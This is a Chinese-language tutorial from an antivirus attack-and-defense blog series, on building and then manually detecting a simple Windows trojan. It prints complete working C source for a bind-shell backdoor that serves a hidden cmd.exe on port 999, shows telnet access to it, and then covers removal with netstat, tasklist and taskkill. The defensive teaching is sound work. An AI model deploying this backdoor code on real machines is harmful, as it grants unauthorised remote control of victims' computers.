首页 > 代码库 > 反病毒攻防研究第007篇:简单木马分析与防范part1
反病毒攻防研究第007篇:简单木马分析与防范part1
一、前言
病毒与木马技术发展到今天,由于二者总是相辅相成,你中有我,我中有你,所以它们之间的界限往往已经不再那么明显,相互之间往往都会采用对方的一些技术以达到自己的目的,所以现在很多时候也就将二者直接统称为“恶意代码”。这次我打算用两篇文章的篇幅来讨论病毒与简单的木马相互结合的分析与防范方法。本篇也就是第一篇,讨论的是利用只有服务器端的木马程序实现“病毒”的启动。而在下一篇中,我会讨论既有服务器端又有客户端的木马程序与“病毒”相结合的分析与防范。
二、简单木马的原理
由于木马技术与计算机网络息息相关,所以也就离不开Socket套接字编程。这里我不打算详述Socket套接字编程的细节,这个在MSDN上有非常详细的讲述,无非就是根据套接字的编程的流程,将相应的内容填入“模板”。而既然要实现通信的效果,就需要遵循一个通信模型,木马一般都是C/S(客户端/服务端)模式的。本篇文章所要论述的,虽然不涉及客户端的编写,但实际上我只不过是把cmd程序当成了客户端,因此本质上还是C/S模式的。
C/S模型的开发,需要在服务器端(欲攻击的计算机)上绑定一个IP地址和一个端口号,然后进行监听,等待客户端(攻击方)的连接。客户端则是向相应的IP地址和端口号发起连接,服务器端接受后,双方就可以开始进行通信,这就是基于TCP协议的通信,也是接下来要用到的方法。另外还有一种基于UDP协议的方法,这种方法是在服务器端进行相应的绑定后,客户端不需要进行连接直接就可以和服务器进行通信。可见,TCP要比UDP可靠,而UDP要比TCP效率高。
本篇文章所论述的服务器端编程的基本原理如下:
1、打开一通信通道(绑定某个端口)并告知本地主机,它在某一个地址上接收客户请求。可以采用socket和bind函数实现。
2、等待用户请求到达该端口。利用listen函数实现。
3、接收到服务请求,处理该请求并发送应答信号。利用accept函数实现。
4、返回第二步,等待其他客户的请求。
5、关闭连接。利用closesocket函数实现。
以上所使用的函数顺序如下:
socket()→bind()→listen()→accept()→closesocket()
三、木马的编程实现
当服务器端运行这个程序后,客户端可以利用telnet向服务器端发起连接,成功后自动打开cmd窗口,就可以通过DOS命令来直接控制服务器端的目标计算机,代码如下:
#pragma comment(lib,"ws2_32.lib") #include <winsock2.h> #include <windows.h> #define MasterPort 999 //欲利用的端口号 int main() { WSADATA WSADa; sockaddr_in SockAddrIn; SOCKET CSocket,SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255]; //初始化数据 ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo,sizeof(STARTUPINFO)); ZeroMemory(&WSADa,sizeof(WSADATA)); //获取CMD路径 GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //加载ws2_32.dll WSAStartup(0x0202,&WSADa); //设置本地信息和绑定协议,建立Socket SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //设置绑定端口999 bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //设置服务器端监听端口 listen(CSocket,1); iAddrSize = sizeof(SockAddrIn); //开始连接远程服务器,并配置隐藏窗口结构体 SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket; StartupInfo.hStdError = (HANDLE)SSocket; //创建匿名管道 CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess,INFINITE); //关闭进程句柄 CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); //关闭套接字 closesocket(CSocket); closesocket(SSocket); //释放ws2_32.dll动态链接库 WSACleanup(); return 0; }由于代码比较简单,这里不再进行分析。
四、木马与“病毒”的结合利用
之前文章所讨论的“病毒”的自启动方式,都是需要借助于“外力”作用,而这次我的“病毒”则是通过植入木马,连接成功后输入DOS命令来启动,但是前提是木马需要先启动。这里我用了两台计算机(也可以使用虚拟机),一台是客户端,一台是服务器端,服务器端已经放置了木马程序,现在就在服务器端执行该木马。之后在客户端中打开cmd程序,输入:telnet 192.168.1.107 999这句命令的意思是通过telnet进行远程登录,连接到ip地址为192.168.1.107的计算机上的999号端口。成功后就可以发现已经连接到了对方的计算机上:
图1 连接到远程计算机
那么此时就可以通过DOS命令对目标计算机进行控制。这里假设目标计算机的E盘根目录下保存有我之前编写的Hacked.exe程序,那么可以通过输入如下命令进行运行:
start e:\hacked.exe此时Hacked.exe程序已经在目标计算机上执行,显示如下:
当然,我这里是假设Hacked.exe已放入对方的电脑,这个前提会有诸多的限制,因为更好的方法是将Hacked.exe程序由客户端传到服务器端再进行启动。不过,由于这个方法比较危险,为了避免别有用心的人拿它去做不轨的事情,因此不再深入讨论。我的原则始终是以讨论如何更好地防范恶意程序为主,而对于恶意代码的实现,也就是点到为止。无需多加讨论的,坚决不进行深入探讨。
五、木马的查杀
上述代码所实现的是一个比较简单的正向连接后门程序,并没有添加进程隐藏功能,也没有增加启动项目,也就是说,当服务器端计算机重新启动后,这个木马就失效了,需要重新运行才可以。我这里讲讲如何手动查杀。当服务器端被植入木马后,服务器端可以进入cmd(若cmd被映像劫持可参考我之前的文章),然后输入命令:netstat –ano这个命令可以查看当前的网络连接状态,如图所示:
图3 查看网络连接状态
在图中可以看到,本地端口999与IP地址为192.168.1.104的主机建立了TCP连接,而且也可以看到进程的ID值为1292(每次启动木马的PID值可能不一样)。对于一般的木马来说,在命令提示符下就可以实现“查”的操作,随着以后讨论的深入,木马复杂度会不断加深,我可能会使用专业查杀工具或者采用自制的工具实现“查”的功能。
利用PID值可以查看进程的文件名,输入:tasklist | find “1292”就可以知道PID值为1292的进程的名称为“MiniTrojan.exe”。之后使用PID值就能够将木马进程从计算机中删除,这里用taskkill命令:
taskkill /f /pid 1292 /t
这句命令的意思是,强制(/f)终止PID值为1292 的进程和任何由此启动的进程(/t)。最后一步是找到MiniTrojan.exe的位置,并删除,就能够彻底将木马赶出计算机了,这里不再赘述。
六、小结
这篇文章所讲的木马程序需要在cmd下运行,尽管远不如图形界面直观,但是这小小的木马,也能够造成很大的威胁了。不过,这毕竟是一匹“小马”,采用简单的DOS命令就能够查杀,还是很好对付的。其实手动查杀病毒木马的流程就是这样,查木马病毒往往需要经验,需要敏锐的嗅觉,之后的“杀”的阶段,需要先把病毒木马的进程结束掉,然后才能删掉其主程序。即便是复杂的恶意程序,基本上也是这个原理。
反病毒攻防研究第007篇:简单木马分析与防范part1